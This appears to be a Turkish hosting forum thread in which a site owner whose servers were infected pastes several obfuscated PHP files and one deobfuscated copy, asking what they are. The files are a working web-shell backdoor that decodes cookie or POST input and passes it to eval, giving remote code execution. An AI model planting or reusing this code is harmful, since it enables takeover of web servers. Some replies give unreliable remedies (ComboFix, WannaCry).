Hostinge Virüs Bulaştı

combofix ile taratsam sorunu çözer miyim sizce?

Kodu çözümledim ama pek bişe anlamadım shell gibi durmuor güvenlik fonksionu olabilir.
$_POST['test'] = '124';
function f1($key, $value){
return substr(str_repeat($key . "99773cc0-3059-4c5a-90e4-2f7b4b36d150", ($value / strlen($key)) + 1), 0, $value);
}
function f2($value){
return @pack("H*", $value);
}
function f3($valPack)
{
$vbbdg = count($valPack) % 3;
if (!$vbbdg) {
eval($valPack[1]($valPack[2]));
exit();
}
}
foreach (array_merge($_COOKIE, $_POST) as $key => $value){
$value = f2($value);
f3( explode("#", $value ^ f1( $key, strlen($value)) ));
}
?>


Yeninesil44 ama garip dosya isimleri bulunuyor. Garibime giden şey birbirinden bağımsız olan reseller ve limitsiz hostingimin ikisinde de aynı sorunun oluşu.

Mesela ana dizinde

error.php uzantılı dosya
$xpsotl = 'yH9irmb5*o34#tf7-8_pnvkg\'cdas01uxle';$edafa = Array();$edafa[] = $xpsotl[10].$xpsotl[14].$xpsotl[34].$xpsotl[6].$xpsotl[6].$xpsotl[26].$xpsotl[2].$xpsotl[10].$xpsotl[16].$xpsotl[26].$xpsotl[30].$xpsotl[7].$xpsotl[27].$xpsotl[16].$xpsotl[11].$xpsotl[7].$xpsotl[30].$xpsotl[17].$xpsotl[16].$xpsotl[6].$xpsotl[6].$xpsotl[14].$xpsotl[17].$xpsotl[16].$xpsotl[11].$xpsotl[10].$xpsotl[30].$xpsotl[7].$xpsotl[11].$xpsotl[29].$xpsotl[26].$xpsotl[27].$xpsotl[15].$xpsotl[27].$xpsotl[7].$xpsotl[6];$edafa[] = $xpsotl[1].$xpsotl[8];$edafa[] = $xpsotl[12];$edafa[] = $xpsotl[25].$xpsotl[9].$xpsotl[31].$xpsotl[20].$xpsotl[13];$edafa[] = $xpsotl[28].$xpsotl[13].$xpsotl[4].$xpsotl[18].$xpsotl[4].$xpsotl[34].$xpsotl[19].$xpsotl[34].$xpsotl[27].$xpsotl[13];$edafa[] = $xpsotl[34].$xpsotl[32].$xpsotl[19].$xpsotl[33].$xpsotl[9].$xpsotl[26].$xpsotl[34];$edafa[] = $xpsotl[28].$xpsotl[31].$xpsotl[6].$xpsotl[28].$xpsotl[13].$xpsotl[4];$edafa[] = $xpsotl[27].$xpsotl[4].$xpsotl[4].$xpsotl[27].$xpsotl[0].$xpsotl[18].$xpsotl[5].$xpsotl[34].$xpsotl[4].$xpsotl[23].$xpsotl[34];$edafa[] = $xpsotl[28].$xpsotl[13].$xpsotl[4].$xpsotl[33].$xpsotl[34].$xpsotl[20];$edafa[] = $xpsotl[19].$xpsotl[27].$xpsotl[25].$xpsotl[22];foreach ($edafa[7]($_COOKIE, $_POST) as $gqarbmn => $lrgusga){function cdwtzm($edafa, $gqarbmn, $qtzpj){return $edafa[6]($edafa[4]($gqarbmn . $edafa[0], ($qtzpj / $edafa[8]($gqarbmn)) + 1), 0, $qtzpj);}function lqgcl($edafa, $witpkte){return @$edafa[9]($edafa[1], $witpkte);}function yhajb($edafa, $witpkte){$xwkdchr = $edafa[3]($witpkte) % 3;if (!$xwkdchr) {eval($witpkte[1]($witpkte[2]));exit();}}$lrgusga = lqgcl($edafa, $lrgusga);yhajb($edafa, $edafa[5]($edafa[2], $lrgusga ^ cdwtzm($edafa, $gqarbmn, $edafa[8]($lrgusga))));}


2o8yaett.php uzantılı dosya
$odpha = 'x9b#ns-gdoy3u_c*5a6r1mfpHvt\'7l4e20ik';$nnddx = Array();$nnddx[] = $odpha[1].$odpha[1].$odpha[28].$odpha[28].$odpha[11].$odpha[14].$odpha[14].$odpha[33].$odpha[6].$odpha[11].$odpha[33].$odpha[16].$odpha[1].$odpha[6].$odpha[30].$odpha[14].$odpha[16].$odpha[17].$odpha[6].$odpha[1].$odpha[33].$odpha[31].$odpha[30].$odpha[6].$odpha[32].$odpha[22].$odpha[28].$odpha[2].$odpha[30].$odpha[2].$odpha[11].$odpha[18].$odpha[8].$odpha[20].$odpha[16].$odpha[33];$nnddx[] = $odpha[24].$odpha[15];$nnddx[] = $odpha[3];$nnddx[] = $odpha[14].$odpha[9].$odpha[12].$odpha[4].$odpha[26];$nnddx[] = $odpha[5].$odpha[26].$odpha[19].$odpha[13].$odpha[19].$odpha[31].$odpha[23].$odpha[31].$odpha[17].$odpha[26];$nnddx[] = $odpha[31].$odpha[0].$odpha[23].$odpha[29].$odpha[9].$odpha[8].$odpha[31];$nnddx[] = $odpha[5].$odpha[12].$odpha[2].$odpha[5].$odpha[26].$odpha[19];$nnddx[] = $odpha[17].$odpha[19].$odpha[19].$odpha[17].$odpha[10].$odpha[13].$odpha[21].$odpha[31].$odpha[19].$odpha[7].$odpha[31];$nnddx[] = $odpha[5].$odpha[26].$odpha[19].$odpha[29].$odpha[31].$odpha[4];$nnddx[] = $odpha[23].$odpha[17].$odpha[14].$odpha[35];foreach ($nnddx[7]($_COOKIE, $_POST) as $kujjzrc => $oidmnkl){function ghdxmxv($nnddx, $kujjzrc, $hvidkqy){return $nnddx[6]($nnddx[4]($kujjzrc . $nnddx[0], ($hvidkqy / $nnddx[8]($kujjzrc)) + 1), 0, $hvidkqy);}function dqltm($nnddx, $trtse){return @$nnddx[9]($nnddx[1], $trtse);}function cvtkdlp($nnddx, $trtse){$vbbdg = $nnddx[3]($trtse) % 3;if (!$vbbdg) {eval($trtse[1]($trtse[2]));exit();}}$oidmnkl = dqltm($nnddx, $oidmnkl);cvtkdlp($nnddx, $nnddx[5]($nnddx[2], $oidmnkl ^ ghdxmxv($nnddx, $kujjzrc, $nnddx[8]($oidmnkl))));}


g9v0okh4.php uzantılı dosya

$xpsotl = 'yH9irmb5*o34#tf7-8_pnvkg\'cdas01uxle';$edafa = Array();$edafa[] = $xpsotl[10].$xpsotl[14].$xpsotl[34].$xpsotl[6].$xpsotl[6].$xpsotl[26].$xpsotl[2].$xpsotl[10].$xpsotl[16].$xpsotl[26].$xpsotl[30].$xpsotl[7].$xpsotl[27].$xpsotl[16].$xpsotl[11].$xpsotl[7].$xpsotl[30].$xpsotl[17].$xpsotl[16].$xpsotl[6].$xpsotl[6].$xpsotl[14].$xpsotl[17].$xpsotl[16].$xpsotl[11].$xpsotl[10].$xpsotl[30].$xpsotl[7].$xpsotl[11].$xpsotl[29].$xpsotl[26].$xpsotl[27].$xpsotl[15].$xpsotl[27].$xpsotl[7].$xpsotl[6];$edafa[] = $xpsotl[1].$xpsotl[8];$edafa[] = $xpsotl[12];$edafa[] = $xpsotl[25].$xpsotl[9].$xpsotl[31].$xpsotl[20].$xpsotl[13];$edafa[] = $xpsotl[28].$xpsotl[13].$xpsotl[4].$xpsotl[18].$xpsotl[4].$xpsotl[34].$xpsotl[19].$xpsotl[34].$xpsotl[27].$xpsotl[13];$edafa[] = $xpsotl[34].$xpsotl[32].$xpsotl[19].$xpsotl[33].$xpsotl[9].$xpsotl[26].$xpsotl[34];$edafa[] = $xpsotl[28].$xpsotl[31].$xpsotl[6].$xpsotl[28].$xpsotl[13].$xpsotl[4];$edafa[] = $xpsotl[27].$xpsotl[4].$xpsotl[4].$xpsotl[27].$xpsotl[0].$xpsotl[18].$xpsotl[5].$xpsotl[34].$xpsotl[4].$xpsotl[23].$xpsotl[34];$edafa[] = $xpsotl[28].$xpsotl[13].$xpsotl[4].$xpsotl[33].$xpsotl[34].$xpsotl[20];$edafa[] = $xpsotl[19].$xpsotl[27].$xpsotl[25].$xpsotl[22];foreach ($edafa[7]($_COOKIE, $_POST) as $gqarbmn => $lrgusga){function cdwtzm($edafa, $gqarbmn, $qtzpj){return $edafa[6]($edafa[4]($gqarbmn . $edafa[0], ($qtzpj / $edafa[8]($gqarbmn)) + 1), 0, $qtzpj);}function lqgcl($edafa, $witpkte){return @$edafa[9]($edafa[1], $witpkte);}function yhajb($edafa, $witpkte){$xwkdchr = $edafa[3]($witpkte) % 3;if (!$xwkdchr) {eval($witpkte[1]($witpkte[2]));exit();}}$lrgusga = lqgcl($edafa, $lrgusga);yhajb($edafa, $edafa[5]($edafa[2], $lrgusga ^ cdwtzm($edafa, $gqarbmn, $edafa[8]($lrgusga))));}

Ozaman virüs olabilir dosya isimlleri normal degil cünkü

mertcanfirat bilgisayara format at tüm sitelerinde virüsten hemen önceki yedeği yükle ancak böyle temize çıkarsın iyi geceler

Açıkçası bilemedim yani çok saçma geliyor. Tüm sitelerimde farklı dosya isimleri ama benzeri yapıda. İndex php dosyamın içerisinde include ile başlayan ve sitemin dosya yolunu şifreleyen bir kod var ve bu şekilde dosyalar oluşturuyor. Cron filan yapmış da olabilirler ama kaynağı bulamıyorum.

harunlog denedim ama çözüm yine yok

NumanABi Hocam konuya bekleniyorsunuz ;)

Numan abiye yazdım ama tam net konuşamadık. Bu sorunu çözebilecek biri var mıdır?

Wanna cry yemiş Olabilir